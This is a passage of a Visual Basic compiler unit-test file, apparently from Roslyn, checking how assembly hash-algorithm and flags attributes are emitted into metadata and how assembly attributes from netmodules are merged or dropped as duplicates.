reader.GetBytes(file1.HashValue)) Dim file2 = reader.GetAssemblyFile(MetadataTokens.AssemblyFileHandle(2)) Assert.Equal(New Byte() {&H7F, &H28, &HEA, &HD1, &HF4, &HA1, &H7C, &HB8, &HC, &H14, &HC0, &H2E, &H8C, &HFF, &H10, &HEC, &HB3, &HC2, &HA5, &H1D}, reader.GetBytes(file2.HashValue)) Assert.Null(peAssembly.ManifestModule.FindTargetAttributes(peAssembly.Handle, AttributeDescription.AssemblyAlgorithmIdAttribute)) End Sub) compilation = CreateCompilationWithMscorlibAndReferences( <compilation> <file name="a.vb"><![CDATA[ <assembly: System.Reflection.AssemblyAlgorithmIdAttribute(CUInt(System.Configuration.Assemblies.AssemblyHashAlgorithm.MD5))> class Program Sub M(x As Test) End Sub end class ]]></file> </compilation>, options:=OptionsDll, references:={hash_module}) CompileAndVerify(compilation, emitOptions:=EmitOptions.RefEmitBug, manifestResources:=hash_resources, validator:=Sub(peAssembly, _omitted) Dim reader = peAssembly.ManifestModule.GetMetadataReader() Dim assembly As AssemblyDefinition = reader.GetAssemblyDefinition() Assert.Equal(AssemblyHashAlgorithm.MD5, assembly.HashAlgorithm) Dim file1 = reader.GetAssemblyFile(MetadataTokens.AssemblyFileHandle(1)) Assert.Equal(New Byte() {&H24, &H22, &H3, &HC3, &H94, &HD5, &HC2, &HD9, &H99, &HB3, &H6D, &H59, &HB2, &HCA, &H23, &HBC}, reader.GetBytes(file1.HashValue)) Dim file2 = reader.GetAssemblyFile(MetadataTokens.AssemblyFileHandle(2)) Assert.Equal(New Byte() {&H8D, &HFE, &HBF, &H49, &H8D, &H62, &H2A, &H88, &H89, &HD1, &HE, &H0, &H9E, &H29, &H72, &HF1}, reader.GetBytes(file2.HashValue)) Assert.Null(peAssembly.ManifestModule.FindTargetAttributes(peAssembly.Handle, AttributeDescription.AssemblyAlgorithmIdAttribute)) End Sub) compilation = CreateCompilationWithMscorlibAndReferences( <compilation> <file name="a.vb"><![CDATA[ <assembly: System.Reflection.AssemblyAlgorithmIdAttribute(System.Configuration.Assemblies.AssemblyHashAlgorithm.SHA1)> class Program Sub M(x As Test) End Sub end class ]]></file> </compilation>, options:=OptionsDll, references:={hash_module}) CompileAndVerify(compilation, emitOptions:=EmitOptions.RefEmitBug, manifestResources:=hash_resources, validator:=Sub(peAssembly, _omitted) Dim reader = peAssembly.ManifestModule.GetMetadataReader() Dim assembly As AssemblyDefinition = reader.GetAssemblyDefinition() Assert.Equal(AssemblyHashAlgorithm.SHA1, assembly.HashAlgorithm) Dim file1 = reader.GetAssemblyFile(MetadataTokens.AssemblyFileHandle(1)) Assert.Equal(New Byte() {&H6C, &H9C, &H3E, &HDA, &H60, &HF, &H81, &H93, &H4A, &HC1, &HD, &H41, &HB3, &HE9, &HB2, &HB7, &H2D, &HEE, &H59, &HA8}, reader.GetBytes(file1.HashValue)) Dim file2 = reader.GetAssemblyFile(MetadataTokens.AssemblyFileHandle(2)) Assert.Equal(New Byte() {&H7F, &H28, &HEA, &HD1, &HF4, &HA1, &H7C, &HB8, &HC, &H14, &HC0, &H2E, &H8C, &HFF, &H10, &HEC, &HB3, &HC2, &HA5, &H1D}, reader.GetBytes(file2.HashValue)) Assert.Null(peAssembly.ManifestModule.FindTargetAttributes(peAssembly.Handle, AttributeDescription.AssemblyAlgorithmIdAttribute)) End Sub) compilation = CreateCompilationWithReferences( <compilation> <file name="a.vb"><![CDATA[ <assembly: System.Reflection.AssemblyAlgorithmIdAttribute(System.Configuration.Assemblies.AssemblyHashAlgorithm.SHA256)> class Program Sub M(x As Test) End Sub end class ]]></file> </compilation>, options:=OptionsDll, references:={MscorlibRef_v4_0_30316_17626, hash_module}) CompileAndVerify(compilation, verify:=False, emitOptions:=EmitOptions.RefEmitBug, manifestResources:=hash_resources, validator:=Sub(peAssembly, _omitted) Dim reader = peAssembly.ManifestModule.GetMetadataReader() Dim assembly As AssemblyDefinition = reader.GetAssemblyDefinition() Assert.Equal(System.Configuration.Assemblies.AssemblyHashAlgorithm.SHA256, CType(assembly.HashAlgorithm, System.Configuration.Assemblies.AssemblyHashAlgorithm)) Dim file1 = reader.GetAssemblyFile(MetadataTokens.AssemblyFileHandle(1)) Assert.Equal(New Byte() {&HA2, &H32, &H3F, &HD, &HF4, &HB8, &HED, &H5A, &H1B, &H7B, &HBE, &H14, &H4F, &HEC, &HBF, &H88, &H23, &H61, &HEB, &H40, &HF7, &HF9, &H46, &HEF, &H68, &H3B, &H70, &H29, &HCF, &H12, &H5, &H35}, reader.GetBytes(file1.HashValue)) Dim file2 = reader.GetAssemblyFile(MetadataTokens.AssemblyFileHandle(2)) Assert.Equal(New Byte() {&HCC, &HAE, &HA0, &HB4, &H9E, &HAE, &H28, &HE0, &HA3, &H46, &HE9, &HCF, &HF3, &HEF, &HEA, &HF7, &H1D, &HDE, &H62, &H8F, &HD6, &HF4, &H87, &H76, &H1A, &HC3, &H6F, &HAD, &H10, &H1C, &H10, &HAC}, reader.GetBytes(file2.HashValue)) Assert.Null(peAssembly.ManifestModule.FindTargetAttributes(peAssembly.Handle, AttributeDescription.AssemblyAlgorithmIdAttribute)) End Sub) compilation = CreateCompilationWithReferences( <compilation> <file name="a.vb"><![CDATA[ <assembly: System.Reflection.AssemblyAlgorithmIdAttribute(System.Configuration.Assemblies.AssemblyHashAlgorithm.SHA384)> class Program Sub M(x As Test) End Sub end class ]]></file> </compilation>, options:=OptionsDll, references:={MscorlibRef_v4_0_30316_17626, hash_module}) CompileAndVerify(compilation, verify:=False, emitOptions:=EmitOptions.RefEmitBug, manifestResources:=hash_resources, validator:=Sub(peAssembly, _omitted) Dim reader = peAssembly.ManifestModule.GetMetadataReader() Dim assembly As AssemblyDefinition = reader.GetAssemblyDefinition() Assert.Equal(System.Configuration.Assemblies.AssemblyHashAlgorithm.SHA384, CType(assembly.HashAlgorithm, System.Configuration.Assemblies.AssemblyHashAlgorithm)) Dim file1 = reader.GetAssemblyFile(MetadataTokens.AssemblyFileHandle(1)) Assert.Equal(New Byte() {&HB6, &H35, &H9B, &HBE, &H82, &H89, &HFF, &H1, &H22, &H8B, &H56, &H5E, &H9B, &H15, &H5D, &H10, &H68, &H83, &HF7, &H75, &H4E, &HA6, &H30, &HF7, &H8D, &H39, &H9A, &HB7, &HE8, &HB6, &H47, &H1F, &HF6, &HFD, &H1E, &H64, &H63, &H6B, &HE7, &HF4, &HBE, &HA7, &H21, &HED, &HFC, &H82, &H38, &H95}, reader.GetBytes(file1.HashValue)) Dim file2 = reader.GetAssemblyFile(MetadataTokens.AssemblyFileHandle(2)) Assert.Equal(New Byte() {&H45, &H5, &H2E, &H90, &H9B, &H61, &HA3, &HF8, &H60, &HD2, &H86, &HCB, &H10, &H33, &HC9, &H86, &H68, &HA5, &HEE, &H4A, &HCF, &H21, &H10, &HA9, &H8F, &H14, &H62, &H8D, &H3E, &H7D, &HFD, &H7E, &HE6, &H23, &H6F, &H2D, &HBA, &H4, &HE7, &H13, &HE4, &H5E, &H8C, &HEB, &H80, &H68, &HA3, &H17}, reader.GetBytes(file2.HashValue)) Assert.Null(peAssembly.ManifestModule.FindTargetAttributes(peAssembly.Handle, AttributeDescription.AssemblyAlgorithmIdAttribute)) End Sub) compilation = CreateCompilationWithReferences( <compilation> <file name="a.vb"><![CDATA[ <assembly: System.Reflection.AssemblyAlgorithmIdAttribute(System.Configuration.Assemblies.AssemblyHashAlgorithm.SHA512)> class Program Sub M(x As Test) End Sub end class ]]></file> </compilation>, options:=OptionsDll, references:={MscorlibRef_v4_0_30316_17626, hash_module}) CompileAndVerify(compilation, verify:=False, emitOptions:=EmitOptions.RefEmitBug, manifestResources:=hash_resources, validator:=Sub(peAssembly, _omitted) Dim reader = peAssembly.ManifestModule.GetMetadataReader() Dim assembly As AssemblyDefinition = reader.GetAssemblyDefinition() Assert.Equal(System.Configuration.Assemblies.AssemblyHashAlgorithm.SHA512, CType(assembly.HashAlgorithm, System.Configuration.Assemblies.AssemblyHashAlgorithm)) Dim file1 = reader.GetAssemblyFile(MetadataTokens.AssemblyFileHandle(1)) Assert.Equal(New Byte() {&H5F, &H4D, &H7E, &H63, &HC9, &H87, &HD9, &HEB, &H4F, &H5C, &HFD, &H96, &H3F, &H25, &H58, &H74, &H86, &HDF, &H97, &H75, &H93, &HEE, &HC2, &H5F, &HFD, &H8A, &H40, &H5C, &H92, &H5E, &HB5, &H7, &HD6, &H12, &HE9, &H21, &H55, &HCE, &HD7, &HE5, &H15, &HF5, &HBA, &HBC, &H1B, &H31, &HAD, &H3C, &H5E, &HE0, &H91, &H98, &HC2, &HE0, &H96, &HBB, &HAD, &HD, &H4E, &HF4, &H91, &H53, &H3D, &H84}, reader.GetBytes(file1.HashValue)) Dim file2 = reader.GetAssemblyFile(MetadataTokens.AssemblyFileHandle(2)) Assert.Equal(New Byte() {&H79, &HFE, &H97, &HAB, &H8, &H8E, &HDF, &H74, &HC2, &HEF, &H84, &HBB, &HFC, &H74, &HAC, &H60, &H18, &H6E, &H1A, &HD2, &HC5, &H94, &HE0, &HDA, &HE0, &H45, &H33, &H43, &H99, &HF0, &HF3, &HF1, &H72, &H5, &H4B, &HF, &H37, &H50, &HC5, &HD9, &HCE, &H29, &H82, &H4C, &HF7, &HE6, &H94, &H5F, &HE5, &H7, &H2B, &H4A, &H18, &H9, &H56, &HC9, &H52, &H69, &H7D, &HC4, &H48, &H63, &H70, &HF2}, reader.GetBytes(file2.HashValue)) Assert.Null(peAssembly.ManifestModule.FindTargetAttributes(peAssembly.Handle, AttributeDescription.AssemblyAlgorithmIdAttribute)) End Sub) Dim hash_module_Comp = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[ <assembly: System.Reflection.AssemblyAlgorithmIdAttribute(System.Configuration.Assemblies.AssemblyHashAlgorithm.MD5)> public class Test end class ]]></file> </compilation>, options:=OptionsNetModule) compilation = CreateCompilationWithMscorlibAndReferences( <compilation> <file name="a.vb"><![CDATA[ class Program Sub M(x As Test) End Sub end class ]]></file> </compilation>, options:=OptionsDll, references:={hash_module_Comp.EmitToImageReference()}) CompileAndVerify(compilation, emitOptions:=EmitOptions.RefEmitBug, validator:=Sub(peAssembly, _omitted) Dim metadataReader = peAssembly.ManifestModule.GetMetadataReader() Dim assembly As AssemblyDefinition = metadataReader.GetAssemblyDefinition() Assert.Equal(AssemblyHashAlgorithm.MD5, assembly.HashAlgorithm) Assert.Null(peAssembly.ManifestModule.FindTargetAttributes(peAssembly.Handle, AttributeDescription.AssemblyAlgorithmIdAttribute)) End Sub) compilation = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[ <assembly: System.Reflection.AssemblyAlgorithmIdAttribute(12345UI)> class Program Sub M() End Sub end class ]]></file> </compilation>, options:=OptionsDll) ' no error reported if we don't need to hash compilation.VerifyEmitDiagnostics() compilation = CreateCompilationWithMscorlibAndReferences( <compilation> <file name="a.vb"><![CDATA[ <assembly: System.Reflection.AssemblyAlgorithmIdAttribute(12345UI)> class Program Sub M(x As Test) End Sub end class ]]></file> </compilation>, options:=OptionsDll, references:={hash_module}) AssertTheseDiagnostics(compilation.Emit(New System.IO.MemoryStream()).Diagnostics, <expected> BC37215: Cryptographic failure while creating hashes. </expected>) compilation = CreateCompilationWithMscorlib( <compilation> <file name="a.vb"><![CDATA[ <assembly: System.Reflection.AssemblyAlgorithmIdAttribute(12345UI)> class Program end class ]]></file> </compilation>, options:=OptionsDll) AssertTheseDiagnostics(compilation.Emit(New System.IO.MemoryStream(), manifestResources:=hash_resources).Diagnostics, <expected> BC37215: Cryptographic failure while creating hashes. </expected>) Dim comp = CreateVisualBasicCompilation("AlgorithmIdAttribute", <![CDATA[<Assembly: System.Reflection.AssemblyAlgorithmIdAttribute(System.Configuration.Assemblies.AssemblyHashAlgorithm.MD5)>]]>, compilationOptions:=New VisualBasicCompilationOptions(OutputKind.DynamicallyLinkedLibrary)) VerifyAssemblyTable(comp, Sub(r) Assert.Equal(AssemblyHashAlgorithm.MD5, r.HashAlgorithm) End Sub) ' comp = CreateVisualBasicCompilation("AlgorithmIdAttribute1", <![CDATA[<Assembly: System.Reflection.AssemblyAlgorithmIdAttribute(System.Configuration.Assemblies.AssemblyHashAlgorithm.None)>]]>, compilationOptions:=New VisualBasicCompilationOptions(OutputKind.DynamicallyLinkedLibrary)) VerifyAssemblyTable(comp, Sub(r) Assert.Equal(AssemblyHashAlgorithm.None, r.HashAlgorithm) End Sub) ' comp = CreateVisualBasicCompilation("AlgorithmIdAttribute2", <![CDATA[<Assembly: System.Reflection.AssemblyAlgorithmIdAttribute(12345UI)>]]>, compilationOptions:=New VisualBasicCompilationOptions(OutputKind.DynamicallyLinkedLibrary)) VerifyAssemblyTable(comp, Sub(r) Assert.Equal(12345, CInt(r.HashAlgorithm))) End Sub <Fact()> Public Sub AssemblyFlagsAttribute() Dim comp = CreateVisualBasicCompilation("AssemblyFlagsAttribute", <![CDATA[ Imports System.Reflection <Assembly: AssemblyFlags(AssemblyNameFlags.EnableJITcompileOptimizer Or AssemblyNameFlags.Retargetable)>]]>, compilationOptions:=New VisualBasicCompilationOptions(OutputKind.DynamicallyLinkedLibrary)) VerifyAssemblyTable(comp, Sub(r) Assert.Equal(AssemblyFlags.DisableJitCompileOptimizer Or AssemblyFlags.Retargetable, r.Flags) End Sub) End Sub <Fact, WorkItem(546635, "DevDiv")> Public Sub AssemblyFlagsAttribute02() Dim comp = CreateVisualBasicCompilation("AssemblyFlagsAttribute02", <![CDATA[<Assembly: System.Reflection.AssemblyFlags(12345)>]]>, compilationOptions:=New VisualBasicCompilationOptions(OutputKind.DynamicallyLinkedLibrary)) ' Both native & Roslyn PEVerifier fail: [MD]: Error: Invalid Assembly flags (0x3038). [token:0x20000001] VerifyAssemblyTable(comp, Sub(r) Assert.Equal(12345 - 1, CInt(r.Flags)) End Sub) comp.VerifyDiagnostics( Diagnostic(ERRID.WRN_UseOfObsoleteSymbol2, "Assembly: System.Reflection.AssemblyFlags(12345)").WithArguments("Public Overloads Sub New(assemblyFlags As Integer)", "This constructor has been deprecated. Please use AssemblyFlagsAttribute(AssemblyNameFlags) instead. http://go.microsoft.com/fwlink/?linkid=14202")) End Sub <Fact> Public Sub AssemblyFlagsAttribute03() Dim comp = CreateVisualBasicCompilation("AssemblyFlagsAttribute02", <![CDATA[<Assembly: System.Reflection.AssemblyFlags(12345UI)>]]>, compilationOptions:=New VisualBasicCompilationOptions(OutputKind.DynamicallyLinkedLibrary)) ' Both native & Roslyn PEVerifier fail: [MD]: Error: Invalid Assembly flags (0x3038). [token:0x20000001] VerifyAssemblyTable(comp, Sub(r) Assert.Equal(12345 - 1, CInt(r.Flags)) End Sub) comp.VerifyDiagnostics( Diagnostic(ERRID.WRN_UseOfObsoleteSymbol2, "Assembly: System.Reflection.AssemblyFlags(12345UI)").WithArguments("Public Overloads Sub New(flags As UInteger)", "This constructor has been deprecated. Please use AssemblyFlagsAttribute(AssemblyNameFlags) instead. http://go.microsoft.com/fwlink/?linkid=14202")) End Sub #Region "Metadata Verifier (TODO: consolidate with others)" Friend Sub VerifyAssemblyTable(comp As VisualBasicCompilation, verifier As Action(Of AssemblyDefinition), Optional strData As String = Nothing) Dim stream = New MemoryStream() Assert.True(comp.Emit(stream).Success) Using mt = ModuleMetadata.CreateFromImage(stream.ToImmutable()) Dim metadataReader = mt.Module.GetMetadataReader() Dim row As AssemblyDefinition = metadataReader.GetAssemblyDefinition() If verifier IsNot Nothing Then verifier(row) End If ' tmp If strData IsNot Nothing Then Assert.Equal(strData, metadataReader.GetString(row.Culture)) End If End Using End Sub #End Region #Region "NetModule Assembly attribute tests" #Region "Helpers" Shared DefaultNetModuleSourceHeader As String = <![CDATA[ Imports System Imports System.Reflection Imports System.Security.Permissions <Assembly: AssemblyTitle("AssemblyTitle")> <Assembly: FileIOPermission(SecurityAction.RequestOptional)> <Assembly: UserDefinedAssemblyAttrNoAllowMultiple("UserDefinedAssemblyAttrNoAllowMultiple")> <Assembly: UserDefinedAssemblyAttrAllowMultiple("UserDefinedAssemblyAttrAllowMultiple")> ]]>.Value Shared DefaultNetModuleSourceBody As String = <![CDATA[ Public Class NetModuleClass End Class <AttributeUsage(AttributeTargets.Assembly, AllowMultiple := False)> Public Class UserDefinedAssemblyAttrNoAllowMultipleAttribute Inherits Attribute Public Property Text() As String Public Property Text2() As String Public Sub New(text1 As String) Text = text1 End Sub Public Sub New(text1 As Integer) Text = text1.ToString() End Sub End Class <AttributeUsage(AttributeTargets.Assembly, AllowMultiple := True)> Public Class UserDefinedAssemblyAttrAllowMultipleAttribute Inherits Attribute Public Property Text() As String Public Property Text2() As String Public Sub New(text1 As String) Text = text1 End Sub Public Sub New(text1 As Integer) Text = text1.ToString() End Sub End Class ]]>.Value Private Function GetNetModuleWithAssemblyAttributesRef(Optional netModuleSourceHeader As String = Nothing, Optional netModuleSourceBody As String = Nothing, Optional references As IEnumerable(Of MetadataReference) = Nothing, Optional nameSuffix As String = "") As MetadataReference Return New MetadataImageReference(GetNetModuleWithAssemblyAttributes(netModuleSourceHeader, netModuleSourceBody, references, nameSuffix)) End Function Private Function GetNetModuleWithAssemblyAttributes(Optional netModuleSourceHeader As String = Nothing, Optional netModuleSourceBody As String = Nothing, Optional references As IEnumerable(Of MetadataReference) = Nothing, Optional nameSuffix As String = "") As ModuleMetadata Dim netmoduleSource As String = If(netModuleSourceHeader, DefaultNetModuleSourceHeader) & If(netModuleSourceBody, DefaultNetModuleSourceBody) Dim netmoduleCompilation = CreateCompilationWithMscorlib({netmoduleSource}, references:=references, compOptions:=OptionsNetModule, assemblyName:="NetModuleWithAssemblyAttributes" & nameSuffix) Dim diagnostics = netmoduleCompilation.GetDiagnostics() Dim bytes = netmoduleCompilation.EmitToArray() Return ModuleMetadata.CreateFromImage(bytes) End Function Private Shared Sub TestDuplicateAssemblyAttributesNotEmitted(assembly As AssemblySymbol, expectedSrcAttrCount As Integer, expectedDuplicateAttrCount As Integer, attrTypeName As String) ' SOURCE ATTRIBUTES Dim allSrcAttrs = assembly.GetAttributes() Dim srcAttrs = allSrcAttrs.Where(Function(a) a.AttributeClass.Name.Equals(attrTypeName)).AsImmutable() Assert.Equal(expectedSrcAttrCount, srcAttrs.Length) ' EMITTED ATTRIBUTES Dim compilation = assembly.DeclaringCompilation compilation.GetDiagnostics() compilation.EmbeddedSymbolManager.MarkAllDeferredSymbolsAsReferenced(compilation) ' We should get only unique netmodule/assembly attributes here, duplicate ones should not be emitted. Dim expectedEmittedAttrsCount As Integer = expectedSrcAttrCount - expectedDuplicateAttrCount Dim allEmittedAttrs = assembly.GetCustomAttributesToEmit().Cast(Of VisualBasicAttributeData)() Dim emittedAttrs = allEmittedAttrs.Where(Function(a) a.AttributeClass.Name.Equals(attrTypeName)).AsImmutable() Assert.Equal(expectedEmittedAttrsCount, emittedAttrs.Length) Dim uniqueAttributes = New HashSet(Of VisualBasicAttributeData)(comparer:=CommonAttributeDataComparer.Instance) For Each attr In emittedAttrs Assert.True(uniqueAttributes.Add(attr)) Next End Sub #End Region <Fact()> Public Sub AssemblyAttributesFromNetModule() Dim consoleappSource = <compilation> <file name="a.vb"> <![CDATA[ Class Program Private Shared Sub Main(args As String()) End Sub End Class ]]> </file> </compilation> Dim netModuleWithAssemblyAttributes = GetNetModuleWithAssemblyAttributes() Dim metadata As PEModule = netModuleWithAssemblyAttributes.Module Dim metadataReader = metadata.GetMetadataReader() Assert.Equal(0, metadataReader.GetTableRowCount(TableIndex.ExportedType)) Assert.Equal(18, metadataReader.CustomAttributes.Count) Assert.Equal(0, metadataReader.DeclarativeSecurityAttributes.Count) Dim token As Handle = metadata.GetTypeRef(metadata.GetAssemblyRef("mscorlib"), "System.Runtime.CompilerServices", "AssemblyAttributesGoHereM") Assert.False(token.IsNil) 'could the type ref be located? If not then the attribute's not there. Dim consoleappCompilation = CreateCompilationWithMscorlibAndReferences(consoleappSource, {New MetadataImageReference(netModuleWithAssemblyAttributes)}) Dim diagnostics = consoleappCompilation.GetDiagnostics() Dim attrs = consoleappCompilation.Assembly.GetAttributes() Assert.Equal(4, attrs.Length) For Each a In attrs Select Case a.AttributeClass.Name Case "AssemblyTitleAttribute" Assert.Equal("System.Reflection.AssemblyTitleAttribute(""AssemblyTitle"")", a.ToString()) Exit Select Case "FileIOPermissionAttribute" Assert.Equal("System.Security.Permissions.FileIOPermissionAttribute(System.Security.Permissions.SecurityAction.RequestOptional)", a.ToString()) Exit Select Case "UserDefinedAssemblyAttrNoAllowMultipleAttribute" Assert.Equal("UserDefinedAssemblyAttrNoAllowMultipleAttribute(""UserDefinedAssemblyAttrNoAllowMultiple"")", a.ToString()) Exit Select Case "UserDefinedAssemblyAttrAllowMultipleAttribute" Assert.Equal("UserDefinedAssemblyAttrAllowMultipleAttribute(""UserDefinedAssemblyAttrAllowMultiple"")", a.ToString()) Exit Select Case Else Assert.Equal("Unexpected Attr", a.AttributeClass.Name) Exit Select End Select Next metadata = AssemblyMetadata.CreateFromImage(consoleappCompilation.EmitToArray()).Assembly.ManifestModule metadataReader = metadata.GetMetadataReader() Assert.Equal(1, metadataReader.GetTableRowCount(TableIndex.ModuleRef)) Assert.Equal(3, metadataReader.GetTableRowCount(TableIndex.ExportedType)) Assert.Equal(5, metadataReader.CustomAttributes.Count) Assert.Equal(1, metadataReader.DeclarativeSecurityAttributes.Count) token = metadata.GetTypeRef(metadata.GetAssemblyRef("mscorlib"), "System.Runtime.CompilerServices", "AssemblyAttributesGoHereM") Assert.True(token.IsNil) 'could the type ref be located? If not then the attribute's not there. consoleappCompilation = CreateCompilationWithMscorlibAndReferences(consoleappSource, {New MetadataImageReference(netModuleWithAssemblyAttributes)}, OptionsNetModule) Assert.Equal(0, consoleappCompilation.Assembly.GetAttributes().Length) Dim modRef = DirectCast(consoleappCompilation.EmitToImageReference(), MetadataImageReference) metadata = ModuleMetadata.CreateFromImage(consoleappCompilation.EmitToArray()).Module metadataReader = metadata.GetMetadataReader() Assert.Equal(0, metadataReader.GetTableRowCount(TableIndex.ModuleRef)) Assert.Equal(0, metadataReader.GetTableRowCount(TableIndex.ExportedType)) Assert.Equal(0, metadataReader.CustomAttributes.Count) Assert.Equal(0, metadataReader.DeclarativeSecurityAttributes.Count) token = metadata.GetTypeRef(metadata.GetAssemblyRef("mscorlib"), "System.Runtime.CompilerServices", "AssemblyAttributesGoHereM") Assert.True(token.IsNil) 'could the type ref be located? If not then the attribute's not there. End Sub <Fact()> Public Sub AssemblyAttributesFromNetModuleDropIdentical() Dim consoleappSource = <compilation> <file name="a.vb"> <![CDATA[ <Assembly: UserDefinedAssemblyAttrNoAllowMultiple("UserDefinedAssemblyAttrNoAllowMultiple")> <Assembly: UserDefinedAssemblyAttrAllowMultiple("UserDefinedAssemblyAttrAllowMultiple")> Class Program Private Shared Sub Main(args As String()) End Sub End Class ]]> </file> </compilation> Dim consoleappCompilation = CreateCompilationWithMscorlibAndReferences(consoleappSource, {GetNetModuleWithAssemblyAttributesRef()}) Dim diagnostics = consoleappCompilation.GetDiagnostics() TestDuplicateAssemblyAttributesNotEmitted(consoleappCompilation.Assembly, expectedSrcAttrCount:=2, expectedDuplicateAttrCount:=1, attrTypeName:="UserDefinedAssemblyAttrAllowMultipleAttribute") TestDuplicateAssemblyAttributesNotEmitted(consoleappCompilation.Assembly, expectedSrcAttrCount:=2, expectedDuplicateAttrCount:=1, attrTypeName:="UserDefinedAssemblyAttrNoAllowMultipleAttribute") Dim attrs = consoleappCompilation.Assembly.GetAttributes() For Each a In attrs Select Case a.AttributeClass.Name Case "AssemblyTitleAttribute" Assert.Equal("System.Reflection.AssemblyTitleAttribute(""AssemblyTitle"")", a.ToString()) Exit Select Case "FileIOPermissionAttribute" Assert.Equal("System.Security.Permissions.FileIOPermissionAttribute(System.Security.Permissions.SecurityAction.RequestOptional)", a.ToString()) Exit Select Case "UserDefinedAssemblyAttrNoAllowMultipleAttribute" Assert.Equal("UserDefinedAssemblyAttrNoAllowMultipleAttribute(""UserDefinedAssemblyAttrNoAllowMultiple"")", a.ToString()) Exit Select Case "UserDefinedAssemblyAttrAllowMultipleAttribute" Assert.Equal("UserDefinedAssemblyAttrAllowMultipleAttribute(""UserDefinedAssemblyAttrAllowMultiple"")", a.ToString()) Exit Select Case Else Assert.Equal("Unexpected Attr", a.AttributeClass.Name) Exit Select End Select Next End Sub <Fact()> Public Sub AssemblyAttributesFromNetModuleDropSpecial() Dim consoleappSource = <compilation> <file name="a.vb"> <![CDATA[ Imports System.Reflection <Assembly: AssemblyTitle("AssemblyTitle (from source)")> Class Program Private Shared Sub Main(args As String()) End Sub End Class ]]> </file> </compilation> Dim consoleappCompilation = CreateCompilationWithMscorlibAndReferences(consoleappSource, {GetNetModuleWithAssemblyAttributesRef()}) Dim diagnostics = consoleappCompilation.GetDiagnostics() TestDuplicateAssemblyAttributesNotEmitted(consoleappCompilation.Assembly, expectedSrcAttrCount:=2, expectedDuplicateAttrCount:=1, attrTypeName:="AssemblyTitleAttribute") Dim attrs = consoleappCompilation.Assembly.GetCustomAttributesToEmit().Cast(Of VisualBasicAttributeData)() For Each a In attrs Select Case a.AttributeClass.Name Case "AssemblyTitleAttribute" Assert.Equal("System.Reflection.AssemblyTitleAttribute(""AssemblyTitle (from source)"")", a.ToString()) Exit Select Case "FileIOPermissionAttribute" Assert.Equal("System.Security.Permissions.FileIOPermissionAttribute(System.Security.Permissions.SecurityAction.RequestOptional)", a.ToString()) Exit Select Case "UserDefinedAssemblyAttrNoAllowMultipleAttribute" Assert.Equal("UserDefinedAssemblyAttrNoAllowMultipleAttribute(""UserDefinedAssemblyAttrNoAllowMultiple"")", a.ToString()) Exit Select Case "UserDefinedAssemblyAttrAllowMultipleAttribute" Assert.Equal("UserDefinedAssemblyAttrAllowMultipleAttribute(""UserDefinedAssemblyAttrAllowMultiple"")", a.ToString()) Exit Select Case "CompilationRelaxationsAttribute", "RuntimeCompatibilityAttribute" ' synthesized attributes Exit Select Case Else Assert.Equal("Unexpected Attr", a.AttributeClass.Name) Exit Select End Select Next End Sub <Fact()> Public Sub AssemblyAttributesFromNetModuleAddMulti() Dim consoleappSource = <compilation> <file name="a.vb"> <![CDATA[ <Assembly: UserDefinedAssemblyAttrAllowMultiple("UserDefinedAssemblyAttrAllowMultiple (from source)")> Class Program Private Shared Sub Main(args As String()) End Sub End Class ]]> </file> </compilation> Dim consoleappCompilation = CreateCompilationWithMscorlibAndReferences(consoleappSource, {GetNetModuleWithAssemblyAttributesRef()}) Dim diagnostics = consoleappCompilation.GetDiagnostics() Dim attrs = consoleappCompilation.Assembly.GetAttributes() Assert.Equal(5, attrs.Length) For Each a In attrs Select Case a.AttributeClass.Name Case "AssemblyTitleAttribute" Assert.Equal("System.Reflection.AssemblyTitleAttribute(""AssemblyTitle"")", a.ToString()) Exit Select Case "FileIOPermissionAttribute" Assert.Equal("System.Security.Permissions.FileIOPermissionAttribute(System.Security.Permissions.SecurityAction.RequestOptional)", a.ToString()) Exit Select Case "UserDefinedAssemblyAttrNoAllowMultipleAttribute" Assert.Equal("UserDefinedAssemblyAttrNoAllowMultipleAttribute(""UserDefinedAssemblyAttrNoAllowMultiple"")", a.ToString()) Exit Select Case "UserDefinedAssemblyAttrAllowMultipleAttribute" Assert.[True](("UserDefinedAssemblyAttrAllowMultipleAttribute(""UserDefinedAssemblyAttrAllowMultiple"")" = a.ToString()) OrElse ("UserDefinedAssemblyAttrAllowMultipleAttribute(""UserDefinedAssemblyAttrAllowMultiple (from source)"")" = a.ToString()), "Unexpected attribute construction") Exit Select Case Else Assert.Equal("Unexpected Attr", a.AttributeClass.Name) Exit Select End Select Next End Sub <Fact(), WorkItem(546963, "DevDiv")> Public Sub AssemblyAttributesFromNetModuleBadMulti() Dim source As String = <![CDATA[ <Assembly: UserDefinedAssemblyAttrNoAllowMultiple("UserDefinedAssemblyAttrNoAllowMultiple (from source)")> ]]>.Value Dim netmodule1Ref = GetNetModuleWithAssemblyAttributesRef() Dim comp = CreateCompilationWithMscorlib({source}, references:={netmodule1Ref}, compOptions:=OptionsDll) ' error BC36978: Attribute 'UserDefinedAssemblyAttrNoAllowMultipleAttribute' in 'NetModuleWithAssemblyAttributes.netmodule' cannot be applied multiple times. comp.VerifyDiagnostics( Diagnostic(ERRID.ERR_InvalidMultipleAttributeUsageInNetModule2).WithArguments("UserDefinedAssemblyAttrNoAllowMultipleAttribute", "NetModuleWithAssemblyAttributes.netmodule")) Dim attrs = comp.Assembly.GetAttributes() ' even duplicates are preserved in source. Assert.Equal(5, attrs.Length) ' Build NetModule comp = CreateCompilationWithMscorlib({source}, references:={netmodule1Ref}, compOptions:=OptionsNetModule) comp.VerifyDiagnostics() Dim netmodule2Ref = comp.EmitToImageReference() attrs = comp.Assembly.GetAttributes() Assert.Equal(1, attrs.Length) comp = CreateCompilationWithMscorlib({""}, references:={netmodule1Ref, netmodule2Ref}, compOptions:=OptionsDll) ' error BC36978: Attribute 'UserDefinedAssemblyAttrNoAllowMultipleAttribute' in 'NetModuleWithAssemblyAttributes.netmodule' cannot be applied multiple times. comp.VerifyDiagnostics( Diagnostic(ERRID.ERR_InvalidMultipleAttributeUsageInNetModule2).WithArguments("UserDefinedAssemblyAttrNoAllowMultipleAttribute", "NetModuleWithAssemblyAttributes.netmodule")) attrs = comp.Assembly.GetAttributes() ' even duplicates are preserved in source. Assert.Equal(5, attrs.Length) End Sub <Fact(), WorkItem(546963, "DevDiv")> Public Sub InternalsVisibleToAttributeDropIdentical() Dim source = <compilation> <file name="a.vb"> <![CDATA[ Imports System.Runtime.CompilerServices <Assembly: InternalsVisibleTo("Assembly2")> <Assembly: 